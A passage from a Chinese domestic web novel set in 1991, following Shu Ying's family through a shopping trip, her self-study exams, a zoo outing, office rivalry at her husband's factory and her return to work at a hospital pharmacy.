舒英笑了笑,又回房间看书,李妈也在里间一边看着谷雨一边看电视,电视声音开得小,恐怕别打扰到舒英读书。 到三点多的时候,舒英将院子里晒的水端进房间,先给谷雨洗澡。 现在夏天太阳大,一盆水从早上开始晒,到这个点的时候就很热了,再晚点儿水就又凉了,这晒的水刚好用来给谷雨洗澡。 谷雨的肤色随了李固言,白的都晃眼,滑滑嫩嫩的跟剥了壳的鸡蛋一样,天天给她洗澡,她现在可喜欢玩水,一坐到水盆里就咯咯地笑,两只小手不老实地拍打着水面,直拍的舒英和李妈身上都是水。 舒英擦了把脸,捏了捏她的小鼻子,笑道:“小坏蛋!” 洗完了澡后,舒英用大毛巾将谷雨整个小人都给包裹起来,擦干净身上的水再拍上痱子粉,尤其注意脖子折叠处,屁股上,以及后背,这些地方最喜欢长痱子。 痱子粉香香的,拍了痱子粉的谷雨也香香的,她睁着俩葡萄似的大眼睛,啃着自己的小拳头,像一块香香软软的奶油蛋糕。 李妈将地上的狼藉处理好,两个人又各自换了一身衣服才抱着谷雨出门,还带着她要用到的尿布之类的东西。 夏天天暗得晚,两人出门的时候还大亮着,但又没白天那么热,舒英抱着谷雨,谷雨眼睛直愣愣地盯着两边瞧,一副对什么都很稀奇的样子。 李妈瞧着她笑:“我们小谷雨就喜欢出来玩,在家里闷着就没见她这么开心,看来以后长大了也是不喜欢回家的主儿。” “那她爸可舍不得。”舒英看着谷雨的小脸玩笑说。 李妈听到这话也笑了,“这孩子没出生前,也没见固言这么喜欢小孩啊,他之前可最不耐烦我催他生孩子,看吧,孩子生出来了喜欢吧。” 舒英笑了笑没说话,李固言结扎家里人谁都不知道,李妈也不知道,老人想法不一样的,告诉他们,估计要闹起来的。 两人抱着孩子坐一路公交车到了五一广场,这个点工人没下班,学生没放学,公交车上人不很多,两个人都有座位,舒英坐在靠窗的位置上,窗户拉开一点,风吹进来,谷雨本就不多的头发都被吹飞,舒服地眯起眼睛来。 不过五一广场人还是很多的,小摊也是一个接一个的摆着。 舒英问:“妈,你饿不饿,要不咱们先买点东西吃了垫垫再去逛?” “行,都行。” 她平时也不怎么出来,看着这边的小吃摊也忍不住感慨:“日子真是好起来了,前几年哪像现在这样热闹?那时候可没人敢出来摆摊,被抓到了可是要坐牢的。” 舒英笑了笑,去那边买了两个肉夹馍过来,递给她一个:“尝尝妈,说是陕西的特色小吃呢。” 她还抱着小孩,李妈四周看了看,指着旁边说:“那边能坐,咱到那边坐着吃。” “行。” 肉夹馍里面馅放得足足的,青椒肉馅跺在一起,配上烤了一下外皮酥脆的白吉馍,咬一口都还在往下面掉渣,李妈边吃便用手接,又将渣倒回馍上咬下去。 谷雨直勾勾地看着两人吃,小嘴巴一动一动的,看着看着就张开嘴要咬过来。 舒英连忙将手里的肉夹馍拿远,不让她碰到,瞧了她这样子又觉得好笑,连忙道:“妈你快看谷雨,看咱们吃东西着急呢。” 李妈也笑:“哎呀,我们谷雨嘴巴馋了,她现在也五个月了,再过段时间也能喂点东西吃了。” 谷雨看着她们吃,急得不行,嘴巴张的大大的,露出牙床上的一点点小牙尖,舒英直笑道:“宝宝,你现在还不能吃这些呢,等你长大了,就能吃了,到时候爸爸妈妈带你吃好多好多好吃的好不好?” 小谷雨现在五个多月,哪里听得懂她的商量,见吃不到,眼睛一挤,嘴一瘪,瞧着马上就要哭出来。 好在李妈这时候已经吃完了,见状连忙把抱起来走了走,转移她的注意力,舒英趁着时候赶紧将整个肉夹馍解决掉。 吃了点东西后,两人就去买衣服,李妈不知道是给自己买衣服,还抱着谷雨给舒英挑呢。 舒英看着店里挂的衣服,拿了一件出来。 李妈扫了一眼说:“这花色会不会有点老气了。” “老气了吗?”舒英看了一眼又给放回去另拿了一件放到李妈身上比划。 李妈说:“你买衣服别老在我身上看呀,你自己得试试才能知道好不好穿。” 舒英笑起来:“谁说我给自己挑的,我就是给你挑的,买两身新衣服给您,谷雨给我,你到里面去试试看合不合身。” 说着不等她拒绝,就把谷雨抱过来,将衣服塞进她怀里,给推到了试衣间了。 李妈也不扭捏,试好了衣服出来照镜子,有点犹豫问:“这颜色太艳了吧,我都这么大年纪了,还穿这颜色,人家该笑话了。” 舒英抱着孩子绕她一圈打量着,点着头说:“好看,这身妈穿着特别好看,这颜色哪里艳了,我瞧着正正好。” 旁边售货员也跟着帮腔:“阿姨,这颜色真不艳,前两天还有一个比您年纪还大的阿姨买了一件呢!” 第34章 第 34 章 幸福 李妈还是有些犹豫, 这个裙子是有些偏红色的。 舒英推着她找镜子,劝说:“妈你自己看嘛,真的好看, 你皮肤白, 这种颜色最衬你了,要是换个人还真不一定能穿出这个感觉呢!” 穿上这身裙子的李妈被她夸得天上仅有地上绝无的,售货员站在旁边都忍不住笑, 道:“你们婆媳俩关系真好,我做这么多年生意,还是第一次看对婆婆这么好的媳妇,阿姨, 有这种媳妇,您就安心享福吧,媳妇想要孝敬您,给您买两身衣服您也有安心手下。” 售货员小嘴一张一合, 说出来的竟是讨人喜欢的吉利话。 舒英也笑起来, 对着李妈道:“妈,那咱就要这一件了?” “那就要了?”李妈摸着身上的裙子, 也有些爱不释手, 这布料摸着真滑溜,上面印的花儿也好看。 舒英点点头,又用手在旁边货架上拨了拨,说:“说了买两身呢, 妈您再看看,还有没有看上眼的。” 李妈动作一顿:“一身就够了,不用买两身,这一身就够我穿的了, 而且这夏天都快过完了,买了不浪费了吗?” “妈,瞧你这话说的,是今年夏天快过完了,又不是以后都没夏天了,买了明年再穿吗嘛,怎么会浪费?”舒英这样说,瞧着她的表情又妥协道,“行吧,一身就一身吧,等过段时间天气冷了,我在带您出来买秋装。” 李妈的衣服结了帐,两人从店里出来,她道:“行,我的买完了,你待会儿看看这街上有没有你喜欢的款式,妈也给你买两身新衣服穿穿。” 舒英听到她这话笑起来:“我给你买了,你又给我买,这不就相当于自己给自己买衣服吗,那我这你给买衣服的意义在哪?行了,待会儿我要是有看上的,您可千万别争着跟我付钱,要不等回家我也要把钱塞给你。” “你这孩子!”李妈脸拉下来,但眼里还盈着笑,她知道孩子是孝顺,“你们现在有了谷雨,花钱可不能这么大手大脚的,得学会存钱!” 舒英现在可不怕她,抱着谷雨往她眼前递,打趣似的说:“谷雨可是你亲孙女,我们俩要是没钱了,您和爸还能就干看着?到那时候您兜里的钱恐怕不用我们张口就得掏给我们谷雨。” “你就贫吧。” 人心都是肉长的,又都不是什 么坏人,就算以前互相之间有成见,经过这段时间真诚的相处,感情早也就处出来了。 舒英到最后还是没买衣服,她照着镜子说:“我这段时间正减肥呢,现在买明年也穿不了了,等过段时间瘦下来了,您再陪我过来买。” 李妈看了眼镜子,又看了眼她,她生完谷雨胖了几十斤,现在瞧着比那时候是瘦了些,但和还没生时比还是胖的。 “也是,那就等你瘦下来再来买吧。” 逛好了街,两个人又饿了,一晚上就吃了一个肉夹馍,走了这么久的路,还交替抱着谷雨这么个小肉墩儿,肚子里的那点食物早消化的没影儿了。 两人找了家饺子馆进去,点了两盘饺子,舒英抱着又馋的哭起来的谷雨说:“妈,你先吃,我喂谷雨喝点奶粉。” 她找店家要了热水给谷雨冲奶粉,又兑了凉白开进去,等奶粉冲泡好后,她先滴了点在手背上感受温度,觉得差不多后,才放到谷雨嘴里。 谷雨抱着奶瓶喝起来,眼睫毛上还挂着晶莹的泪珠,模样瞧着好不可怜,舒英也有些心疼:“饿了是不是?吃这么急。” 一瓶奶粉喝完,谷雨精神又恢复了些,但还是有些恹恹地趴在舒英怀里。 李妈吃完后,要过来接谷雨好让舒英也去吃,谷雨抱着舒英不肯撒手,一被李妈抱走,张大嘴就要嚎哭起来,没法,舒英连忙拍了拍她的背说:“今天估计是累了,没事妈,我就这样抱着吃。” 这顿饭舒英吃的不太安生,谷雨哭闹,她心里也担心,别是今天广场人太多,惊着她了。 两人吃完饭后就坐着公交车回家,车上人也不多,夜风从窗外吹进来,谷雨躺在她怀里,安安静静地打着小哈欠,困得眼睛都睁不开了。 舒英忙抱着她晃着,哄着她入睡。 李妈见状笑了笑轻声说:“真是累了,困成这样了。” 到家的时候房间里黑着,李固言还没下班回来呢,李妈先小跑进屋将屋里灯打开,舒英进去后又赶紧拉开蚊帐,帮着她轻轻将谷雨放到床上。 谷雨眼皮动了动,没醒,小嘴巴也动了动,不知道梦里是不是吃着什么好吃的呢。 舒英满足地看了她几眼,就下床将蚊帐掖好去洗澡刷牙。 李妈这时候正在院子里将新裙子过水呢,新买回来的衣服不过一遍水她总不太敢往身上穿,衣服在店里挂那么长时间,来来往往的那么多人,谁知道上面都落了些什么灰。 舒英洗完澡出来见状劝道:“妈,你明天再洗吧,今天走了那么多路,你肯定也累了,先洗洗睡吧。” “没事,一条裙子而已,我搓两下就去洗澡。” “行,妈,那我先回房睡了。” “你去吧。” 舒英轻手轻脚地回了房间,将蚊帐拉开一个缝,小心翼翼地上床,生怕动作过大将谷雨吵醒。 好在谷雨睡得又香又沉,一点没注意到妈妈的动作。 舒英上床后就将房间里的灯关了,只留了一盏床头上的小灯,等李固言回来的时候给他稍稍照个明。 她靠着墙睡,谷雨睡在床中间,她抬手将小家伙搂在怀里,头抵着她的头,听着闺女沉稳的呼吸声,没一会儿也跟着睡着,李固言什么时候回来的都没注意。 李固言回来看到的就是这一幕,母女俩相拥睡得香甜,他就站在门边静静地看着,足足盯了小半个小时,感觉浑身的疲惫都被这个瞬间治愈,他笑了笑,又把相机拿出来,对着床上将自己的世界记录下来。 他蹑手蹑脚地洗漱,睡在外间的李妈问:“你怎么这时候才下班?饿不饿?冰箱里还有包的包子,我给你热两个吃吧?” 还没等他回答,她就自顾起身,从蚊帐里出来,穿上拖鞋就去给儿子热包子。 李固言洗完澡出来,身上还带着水汽,头发也都是湿的,李妈看见赶紧找了个干毛巾递给他:“把头发擦擦干,夜里天凉,可得当心些,别感冒了。” 李固言笑着接过,毛巾在头发上摩擦,擦得差不多时,包子也热好了,他掰成两半,一半递给李妈,一半自己吃。 李妈摇摇头,将那一半又放到他手里:“我今天晚上吃的饱,小英带我去五一广场吃的那什么肉夹馍,还吃了牛肉馅的饺子,味道挺好,等下回你工作不忙了,咱们一家子再去尝尝。” 李固言点头,满眼笑地看着李妈,妈妈、妻子、女儿都在这个小房子里,他现在吃这包子只觉得自己被幸福包裹。 李妈继续说着下午的见闻,“小英还给我买了条新裙子,喏,我就挂在院子里了,你刚才进来的时候看没看见?我说这颜色鲜艳,我穿着不好,小英一个劲儿地夸,说完穿着合适,夸得我都不好意思了,等明天我穿着你也帮我瞧瞧怎么样。” “好,阿舒眼光好,她说你穿着好看,那你穿着肯定不会错的。” 他看着眼前笑呵呵的李妈,就想起自己小时候,那时候她还年轻,但她不常笑,总是板着一张脸,气势吓人,那时候他很怕她,有什么事从来不敢跟她讲,哪怕在外面被人欺负了,回来也不敢告诉她,那时候他们全家都很艰难,她也是被生活压得喘不过气来了。 不过现在都过去了,以前的那种日子都过去了,她现在也经常笑了。 吃完了包子后,李固言又去刷了牙洗了脸,才轻轻走进房间里,一点一点拉开蚊帐钻进来。 木床晃动了一下,舒英嘤咛一声,缓缓睁开眼,看到他,还不太清醒的说了句:“你回来了。”声音含含糊糊的,话刚说完,眼睛就又闭上了。 李固言笑了笑,伸手在她脸上摸了下,俯下身又轻轻吻了一下,不带任何的情/色/意味。 窗外蝉鸣蛙叫不绝,蚊帐外还时不时有讨厌的蚊蝇“嗡嗡”声响起,床尾的风扇吱呦吱呦转动,呼呼地吹着风,将蚊帐都吹变形。 李固言将薄被往舒英身上拉了拉,又给谷雨也裹好,夜里降温,又睡着凉席,还吹着风扇,容易冷。 将这些都做好后,他才揽着妻女二人睡去。 一夜无梦,沉沉睡到第二天早上闹钟响起。 舒英昨天睡得早,今日早早起床,帮李妈一块儿准备早饭,自从李妈来了后,他们俩都没怎么去早点摊卖早点了,几乎都是自己在家里做。 李妈早上叠了韭菜盒子,烧了米粥,再配点小咸菜,一份简单又不失美味的早餐就完成了。 李固言起的时候,谷雨也已经醒了,自己乖乖地睡在他旁边,小手在空气里不知道在鼓捣着什么,自己跟自己玩得挺好,看的他心软,跟她玩了一会儿又把她抱起来亲了两口才去洗漱。 饭菜上桌后,舒英就去里间将谷雨抱出来,一家人吃了早饭,上班的上班,看书的看书,李妈在家闲着也没事,就抱着谷雨出去串门,也省得会打扰舒英学习。 舒英也没什么不放心的,等人出去后,家里就剩她自己,她反而乐得自在,在书桌前将资料拿出来复习,下个月就考试了,这段时间得抓点紧了。 快中午的时候,李妈串门回来烧午饭,谷雨都玩睡着了,给她放在床上,用薄被子盖住小肚子。 舒英站起身扭了扭腰,坐了一上午,也有些腰酸背痛,她伸了个懒腰到门口站了会儿,太阳就快晒到门槛处,一股子热气迎面扑过来,阳光夺目,让人还有些睁不开眼睛。 厨房里叮呤哐啷,舒英又活动了下筋骨后也进去帮忙,“妈,今天中午吃什么?” 李妈舀了瓢水倒进锅里,说:“今天天热,也没什么好吃的,我就想着热几个馒头,炒几道小菜,你有什么想吃的吗?我给你做。” 舒英摇了摇头,她一上午都坐在桌子前 没怎么挪地儿,现下也不咋饿,吃什么都行。 李固言也不是挑食的人,做什么吃什么,大鱼大肉吃得欢,清淡小菜也吃得乐。 中午饭吃完后,他今天还能有点午休时间,在房间里吹着风扇逗着谷雨玩。 舒英检查着她身上没有蚊子包,又把蚊帐给掖了个严严实实也上床躺着。 谷雨现在是逮着什么东西都想往嘴里塞,李固言这才一个扭头没注意,再转回来就看见他姑娘正拿着扇子把啃呢。 他赶忙伸手将扇子拿走,不让她碰着。 舒英见状笑道:“昨天晚上我跟妈吃肉夹馍,让她看见把她馋的不行,猫尿掉一地。” 李固言听完看着谷雨有些心疼:“现在还只能喝奶,不能吃东西。”说着说着眼泪竟然掉下来了。 舒英在一旁瞪着眼瞧着,大的流眼泪,带的小的也跟着瘪嘴。 她连忙将谷雨抱起来哄着睡觉,又哭笑不得地劝大的:“她不能吃东西,她还能喝奶,又没饿着他,你这哭得跟我虐待她一样。” 李固言擦擦眼泪,又洗洗鼻子,哽咽着说:“我知道,我就是一想到她看着你们吃东西只能干着急,我就心里难受,眼泪忍不住就流下来了。” 舒英将手帕递给他,看着他眼睛红通通的,瞧着要多可怜有多可怜,但她现在一点同情心理都没有,嘴角一弯,要多想笑有多想笑。 李固言这会儿也不好意思起来,背过身去将脸上眼泪擦干净,转过来看见舒英还在笑,气恼地要伸手去捂她的嘴。 舒英赶忙躲开:“干什么干什么?现在连我笑都不许了是吧?” “哼。”李固言也不去管她了,躺下用被子蒙头睡觉。 舒英看他一眼,将睡着的谷雨轻轻放到旁边,猫儿似的趴到他身上问:“生气了?” 李固言蒙着被子一动不动。 舒英抿着唇笑,搂着他又问一句,“真生气了?” 李固言哪里舍得生气,终于憋不住,将被子拿掉,露出一张笑脸。 舒英凑上去亲了一口:“我就知道你在这装呢。” “好了不闹了,睡觉!”李固言抱着她,闭上眼,他再睡二十分钟就得起身去厂里了。 舒英也不扰他,静静靠着他胸膛,大热天的,两个人也不嫌热。 睡醒后,李固言去厂里上班,现在正是晌午,走在路上都觉得太阳灼烧皮肤。 他到办公室的时候,组里的人都还没来,他先整理了下文件,又坐下处理了点工作,时间一分一秒过去,等时针分针慢慢滑到一点半的时候,组里的人也就来的差不多了。 李固言打眼扫过去,问:“小袁,小简还没来吗?”他俩还是去年分给他的实习生,也都跟着他一起做新项目。 袁宜迷茫地抬起头,环视了一圈,没看到简光远的身影,摇摇头说:“好像还没来吧。” 李固言点点头,表示自己知道了,这个简光远平时就懒懒散散,今天说好一点半开会,没想到还吃到。 他站起身将手里的文件拿起来,道:“不管他了,咱们先开,小袁你记录一下,回头告诉他内容。” “……行。”袁宜皱了皱眉,简光远没来净拖累她!她俩同校毕业又同一批来的机械厂,还都分给里李工,导致简光远有点什么事儿,别人都问她,问题是他们也就是普通同学、普通同事,她怎么知道他去哪了,又干啥了。 李固言瞥着她的表情,动作一顿,又说:“算了,小袁你安心开会,别管他了,他没听到的部分让他自己找人补。” 袁宜到底年轻,听到这话,没控制住表情,嘴角一个劲儿地上扬,说起来,两个人都分到一个老师手底下,两个人之间其实是有点微妙的竞争关系的,机械厂一向是男人的工作领域,她身为女性,一开始就有点落下风,必须要靠加倍的努力才能赶上去,但谁能想到简光远他自己不争气,差她甚远矣! 因为做项目,所以厂里给分了新办公室,地方比之前的大办公室肯定是小了不少,但胜在是属于他们自己的,来来往往的人不会随便进来。 几个人在办公室里开会,主要是总结一下最近遇到的问题,推进不下去的原因,以及规划接下来的步骤。 会开到一半,门被轻轻敲响,李固言翻着材料头都没抬道:“进。” 门被推开一个小缝,先进来的是一颗头,接着整个身子才慢慢蹭进来。 是迟到的简光远。 他讪笑着:“老师,我来晚了。” 李固言看他一眼,道:“坐吧,差的部分自己补。” “是是。”简光远小点着头,猫着身子坐到袁宜旁边的空位置上,小声问,“说到哪了?” 袁宜也不说话,只把手上的笔记往他眼前推了推。 其他人看了他俩一眼,都在心里摇头,现在的学生比起当年的李工来可差远了。 一场会一小时开完,李固言全程都没有废话,他们提出困惑,他说出解答方案,最后再抛出问题,言简意赅,让在场的所有人都清楚明白自己应该接下来做什么。 “行,今天结束,大家都忙去吧。” 说完率先合上笔记,起身回到自己的位置上,穿上车间的工作服后就下车间去了。 路上碰见陆工,他也不卑不亢地点了点头以作招呼。 陆工瞥了他一眼,眼睛一翻走过去了,只当没看见他。 李固言对他的无视没任何反应,淡然的超前走。 而有的人就是贱,你不搭理他,他反而还上赶着。 “李工!”陆工停住脚步叫了一声。 李固言疑惑地站定,转过身歪了一下头:“陆主任叫我有什么事吗?” 陆工上下扫了他一眼,皮笑肉不笑道:“我听说你现在新研发的那个产品一点进展都没有啊,厂里给你批钱可是哗啦啦的跟流水似的,这怎么也听不见个响啊?”他可还记着去年的事儿呢,那之后他被批评一顿,还被罚了奖金,李固言这人可是一点事儿都没有,今年那老陈竟然还给他报新项目! 袁宜和简光远这时正从办公室里出来,就看见陆工在找他们老师的茬,袁宜皱了皱眉,简光远拉着她说:“你可冷静点,陆主任这人小心眼儿,可不是咱俩这穷学生能得罪的起的。” 袁宜把他的手甩开,“我又没有要干嘛。” 李固言没发现他俩,微微笑着回答陆工:“陆工不做项目不知道,这种成绩不是那么好出的。” 他这一句话,就让陆德噎住,他倒是想做项目,但陆副厂长能把职位抢了给他,还真没办法让他领头带新项目,毕竟项目上花的可都是真金白银,没点儿能耐,就算陆副厂长拿给他了,厂里又哪里会同意?但他就是看不惯李固言这副志得意满的样子,有什么好得意的,不就一破项目吗! “老师!”袁宜这时候小跑着上前,将手里的文件递上去说,“老师,我这点还有点不明白……” 陆工看了她一眼,扭头又看见尬笑着的简光远,他摇摇头嘲笑道:“你也别高兴太早,我瞧着你们组这……”歪瓜裂枣的…… 他余下的话没说出口,但在场几人都知道他要说啥。 李固言眼神一下冷下来,说他几句也就算了,不痛不痒的,陆德他一个没什么真本事光靠血源上位的人哪来的脸嘲笑人家正经重点本科毕业的。 他眉头轻蹙又瞬间展开对着两个学生笑道:“寒窗苦读不容易,几个月前才拿到毕业证,陆主任恭喜你们呢,没点儿眼力见,还不 快谢谢?” 袁宜机灵,明白老师话里的意思后立马笑道:“哎呀陆主任,也没那么辛苦,就是读书嘛,脑子聪明点也就考上大学了,嘿嘿。” 陆德简直被气得七窍升天,翻了个白眼走了。 李固言看了她一眼,也有些忍俊不禁,谁的学生像谁,平时没瞧出来她蔫儿坏呢。 简光远却是担忧地望了眼陆德的背影,走的时候又拽了下袁宜的衣角,瞥了眼前面的李固言低声说:“你说你怎么这么意气用事呢?老师能跟他斗,你有啥资本去得罪他,他叔是厂长你不知道啊?” 袁宜听这话睨了他一眼,没吭声。 第35章 第 35 章 上班 91年10月25号, 舒英的自考考试到了。 早上八点钟,机械厂李家热热闹闹,忙前忙后的。 李妈道:“当年固言高考, 可把我紧张死了, 四点多就醒了,再也睡不着了,就在椅子上坐着看着墙上的表, 生怕他睡过头误了考试。” 舒英吃着早饭说:“我这个没那么严重,今年考不过明年再考,总共就那么几门,全通过了就能拿本科毕业证。” 李妈不懂这些, 但家里俩大学生,她对于考试是郑重的,道:“那还是要好好考,早考过早好, 省得明年再受罪。” 舒英笑笑点头:“是。” 李固言今天特意请了假, 陪舒英去考试,考点在安城一中, 离这边有点距离呢, 得早点出发。 八点半,一家人吃过早饭,李固言就去路上招出租车,到考场门口的时候刚好九点零三分。 李固言将提前准备好的文具袋放到舒英手上:“准考证, 钢笔、橡皮、铅笔都在里面。” “行。”舒英拿着文具袋,又亲了下谷雨,谷雨现在正喜欢有样学样,被妈妈亲了一下, 也学着要亲回去,毫不意外的,舒英脸颊上被糊上她闺女的口水。 她也不嫌弃,笑着道:“这是我闺女给我的鼓励。” 李固言也笑起来,单手抱着谷雨,另一只手掏了张干净的手帕将她脸上的口水擦掉。 “行,进去考试吧,别迟到了。” “嗯,外面风大,你找家店坐着,别冻着我闺女了。”舒英朝他摆摆手,转身进了考场。 上午场是九点半开始到十二点,下午场是两点半到五点,一共考两天。 舒英这几个月一直在家里做题备考,准备的很充分,坐到考场上时心一点不慌,她平静地拿到试卷,等铃响后就开始作答,题出的不偏,都是遇到过的知识点,她笔墨顺畅,越写越流利,离考试结束还有半个小时的时候就答完了卷子上的全部考题,剩下的时间细心地一点一点检查。 就这样考了两天,在26号傍晚五点的时候拎着文具袋出考场。 李固言一手抱着谷雨,一手捧着一束花在门口等着呢,他生的高大伟岸,外貌俊美,抱着孩子捧着花,简直成为了全场焦点。 舒英也没想到他会拿着花,出考场的时候脚步一顿,看着左右投去的好奇目光,摸了摸鼻子,瞬间有一种想再回到考场上坐着的感觉,哪怕是考试都没这个时候让她煎熬,她简直想捂着脸偷偷略过他,装作这个男人与自己毫无半点关系。 奈何李固言长得高,眼也尖,她一出现在校门口,他就看见了,从人群里挤到她身边,将花塞到她手里,也不问考的如何,只笑说:“这花怎么样,好看吗?我昨天等你的时候正好在附近看到了一家花店,就跟老板定了一束,好庆祝你考试结束。妈晚上做了大餐,就等着你考完回去呢。” 舒英抱着花,迎着旁边的目光,虽然有些尴尬,但更多的其实是感动,她笑了笑,努力忽视别人的好奇,仰头看着他说:“谢谢,花特别香,我们回去找个给它插在房间里吧。” 李固言笑着点点头答应:“好。” 谷雨在一看到舒英的时候就扑腾着要她抱,李固言搂着她阻止:“妈妈刚考完试,手还酸着呢,爸爸抱好不好?” 谷雨可听不懂他的话,她一下午都没看见妈妈了,这会儿就只想让妈妈抱。 李固言没松手,领着舒英到路边坐上出租车后才把谷雨放到她腿上,又把花接过来。 到了妈妈怀里的谷雨瞬间老实,白白净净的小圆脸上露出笑。 舒英瞧着也很开心,在她脸上亲了好几下。 母女俩玩的有来有回的,李固言在一旁看着还有些吃醋,“大的大没良心,小的小没良心。” 舒英看着他笑,问:“我怎么就没良心了?” 李固言也不说话,只把脸递过去。 舒英瞥了眼前面的司机,把谷雨凑过去,“让你闺女亲亲你。”话音刚落,李固言就觉得脸颊一湿,谷雨现在哪会儿亲人,都是张着小嘴糊口水。 李固言擦了擦,忍不住用手轻轻捏了捏舒英的手,挨着她低声说:“晚上可要补回来的。” 舒英斜睨了他一眼,没说话,脸颊绯红。 李固言又坐正身子正经道:“你这段时间备考辛苦了,正好明天周日我休息,你有没有什么想去的地方?” “那去动物园吧,正好我也还没去过呢,带上相机,多拍点照片。”安城两年前开了家动物园,据说有很多动物,什么狮子老虎、猴子猩猩的,他们平时上班生活的,哪里有机会看这些稀奇动物? 李固言也没见过,他点点头说:“那咱们明天去瞧瞧是什么样的。” 回到家后,舒英第一件事就是找花瓶将花插上,放在房间里靠窗的书桌前。 李妈晚上做了一大桌子的菜,鸡汤、红烧肉、清蒸鱼,炒青菜、烧茄子,四菜一汤,一眼看过去,桌子上满满当当的。 几人要落座时,舒英道:“等一下,我去拿相机拍一下。”自从买了相机后,可真是没少用。 拍好照,吃饭的时候李妈问:“考得怎么样?有把握吗?” 说起考试,舒英还是比较自信的,笑着点点头道:“应该不会有什么问题。” “那就好那就好。”李妈起身又去拿了几瓶汽水过来,“喝不了酒,咱也喝点汽水庆祝庆祝。” “行。” 谷雨现在已经能吃点辅食了,李固言给她喂了一小碗鸡蛋羹,吃得谷雨高兴的跟什么似的,吃完了一口,勺子还没舀好呢,她嘴巴就已经大大的张开等着了。 李固言笑:“吃东西这么开心呀。” 等一大家子吃完了饭后,李固言还得回厂里处理工作,白天一天都没去,又不知道堆了多少东西要搞。 现在已经入了秋了,外面树叶吹得沙沙作响。 舒英和李妈都洗漱了上床准备睡觉。 小家伙精神倒好得很,一双大眼睛炯炯有神,怎么都不肯睡。 舒英左手拿着小汽车,右手拿着布娃娃哄着她玩,玩得累了,将精力都消耗尽了后,躺倒没几分钟眼睛就阖上,睡得沉沉的。 第二天起来,一家子就准备要带到动物园的东西,大人的东西倒还在其次,谷雨的奶粉、尿布、水,小推车,一个都不能少。 动物园在安城开这么久了,李妈也是只听说过,没去见过,也好奇得很。 说要在里面玩一天呢,李妈还准备了中午要吃的东西,虽然说里面都能买到,但哪有自己做的实惠干净。 到动物园门口,李固言去买门票,大人五块钱一张,谷雨还不要票。 “哎呦,这么贵呢?”三个人就要十五块钱,猪肉才一块多钱,十五块钱够一家子吃好几天的肉了,李妈听到这么贵一脸的肉疼。 舒英笑道:“就来这么一回,贵也就贵这么一次。” 谷雨坐在推车里,张着眼睛四处望,对一切都新鲜的不得了,也不光小孩新鲜,大人也新鲜。 连满园的烘臭味都挡不住人来人往的游客,都是来看狮子老虎的。 狮子老虎倒是真有,关在笼子里向大家展示,不过都懒洋洋地趴着睡觉,没什么精神的样子 ,偶尔游客们吵得狠了,就抬抬眼皮,站起来绕着笼子慢腾腾地走两圈,再趴回原地睡觉。 舒英瞧着,倒是跟书上的照片长得一样,但是被圈养久了,没有身为野兽之王的威风霸气了,萎靡不振的没什么精气神,看着还有点可怜。 虽然有点失望,舒英还是拿出相机道:“来都来了,拍几张照片当作纪念吧。” 动物园也是有拍照服务的,但是贵,五块钱一张呢,他们自己有相机,倒是方便很多。 一家人在铁笼子前找了块空地,抱着谷雨拍了照片,背后的老虎安安静静卧着。 从这边出来,去了猴园就热闹多了,猴子多,又活泼,游客剥一根香蕉扔过去,都能引来一众猴子哄抢,尾巴搭着树枝跳来跳去,嘴里还叽里咕噜的叫着。 看得谷雨目不转睛。 这动物园也不大,动物也不算多,原本还打算在这里面能玩一天的,结果中午刚过,能转的就都转的差不多了,园里还一股子粪便味,几人都不是很想再待下去,便推着小推车打道回府。 到家属院的时候,还碰上吴嫂子好奇地问玩得怎么样。 就算有点失望,那到底是出去转了一圈,见了以前没见过的动物,李妈笑道:“还行还行,里面的猴子还怪多的,就是狮子老虎有点蔫儿了吧唧的,没什么看相。哦!我们后来还去那个蛇园,哦呦!碗口粗的一条蛇哦,那有的人胆子大,还举着那蛇拍照,我?我是不行,我看见那蛇就起鸡皮疙瘩。” 觉得不好玩,但跟人吹一吹又发现还是有不少有意思的地方的。 谷雨睡着了,李固言抱着她进屋,舒英还留下来,几个人一块儿聊天。 …… 11月,舒英六个月的产假结束,要回医院上班了,六个月没上过班,突然说要回去,她还有些不适应。 早上起来给谷雨喂了奶后,就穿戴整齐,拿着包去医院。 到药房的时候,小胡都已经开始工作了,看到她回来也很高兴,眼睛一亮就笑起来:“姐!姐,你可回来了,你都不知道这六个月我是咋过的!” 舒英捏了捏她的脸颊,把给她带的零食拿出来,笑着道:“咋过的,跟姐说说,这六个月医院发生什么没?” 六个月说长不长说短不短的,医院可发生了不少事,但其中最重要的一件是,副院长被调走了。 这事儿,舒英在休假的时候就知道了,这种大事刚一发生就被传的沸沸扬扬了,大家都说这新来的院长有本事,能把副院长弄走。 小胡神神秘秘的,左右看看后,弯了弯手示意舒英贴近听:“我听他们说,是宋院长捏住了副院长贪污的把柄,让副院长不得不走。” 宋院长就是之前被空降来的新院长,而他没被空降来之前,大家都以为副院长会没有任何意外地去掉“副”字。 当时宋院长来了后,给医院职工们开了场大会,会上壮志激昂,舒英看着他身边站着的挺着啤酒肚的副院长,心里还说,还不知道这俩人谁能赢过谁呢,没想到这才多久,二院格局就大变样了,副院长的人几乎都被弄走了,现在留下来的领导班子差不多都换成了宋院长的人。 “贪污”这种事情,大家私底下都说,说副院长吃得脑满肠肥的,那腰包肯定瘪不了,但这种事情没有证据,还是少说的好,毕竟谁知道这留下来的人里有没有跟副院长有点关系的,瘦死的骆驼比马大,这要被听见被记恨上了,可够她们这没有根基的二人喝一壶的了。 舒英坐直身子,正色道:“以后这种话在我面前说说就算了,千万别拿到外面去说。” “哎呀,我知道的,要不是姐,我跟外面人也不会说这些的。”小胡手上理着药,又说起宋院长,这回就光明正大很多,“宋院长真挺有本事的,满打满算还没来两年呢,二院就大变样了,而且我瞧着宋院长跟别的人都不太一样,首先他就没有啤酒肚。” 舒英被她这话笑到,没有啤酒段就大不一样啊,不过她也承认宋院长的确有本事,现在外面的人提到二院也不像以前那么嫌弃了,有个什么病啊痛的,也能想到来二院瞧瞧了,她道:“医院变好了,咱们也跟着增光。” 说着,小胡叹口气:“增不增光不知道,反正是得开始上夜班了。”上头刚下的文件,从下个月起她们药房得排个夜班表了,以前她们药房的人哪里上过夜班,能老老实实按时按点下班都算是工作态度良好了。 说起这个,舒英也有些忧愁,她是真不喜欢上夜班,这熬一夜,身体根本受不住。 小胡努了努嘴,指了下旁边说:“汪姐跟蒋姐受不住,现在就想着赶紧退休了,张主任还说呢,这以后都要上夜班了,人手就不够了,要跟上面申请,明年再招几个学生。”张主任是她们药房主任。 是啊,以前不上夜班,药房里她们四个干活,汪姐跟蒋姐时不时偷个懒,也都能接受,这要是开始上夜班,舒英还在哺乳期,汪姐跟蒋姐年纪都大了,担子都压小胡一个小姑娘身上哪行?肯定得招人。 